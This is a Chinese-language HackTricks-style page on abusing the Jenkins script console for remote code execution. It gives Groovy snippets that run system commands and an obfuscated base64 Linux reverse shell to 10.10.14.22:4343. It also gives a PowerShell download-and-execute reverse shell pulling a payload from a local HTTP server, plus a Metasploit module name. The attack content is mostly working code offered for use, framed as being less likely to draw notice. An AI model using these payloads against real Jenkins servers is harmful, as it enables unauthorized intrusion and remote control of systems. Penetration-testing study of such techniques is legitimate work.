Jenkins RCE with Groovy Script

从零开始学习 AWS 黑客攻击直到成为英雄 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

Jenkins RCE 与 Groovy 脚本

这比在 Jenkins 中创建一个新项目要少引起注意

  1. 转到 path_jenkins/script

  2. 在文本框内输入脚本

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
您可以使用以下命令执行操作:`cmd.exe /c dir`

**linux** 中,您可以执行:**`"ls /".execute().text`**

如果您需要在文本中使用_引号_和_单引号_。您可以使用_"""PAYLOAD"""_(三重双引号)来执行有效载荷。

**另一个有用的groovy脚本**是(替换\[INSERT COMMAND]):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

在 Linux 中的反向 shell

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windows 下的反向 shell

您可以准备一个带有 PS 反向 shell 的 HTTP 服务器,并使用 Jeking 下载并执行它:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

脚本

您可以使用此脚本自动化此过程。

您可以使用MSF获取反向shell:

msf> use exploit/multi/http/jenkins_script_console
从零到英雄学习AWS黑客技术,通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

Last updated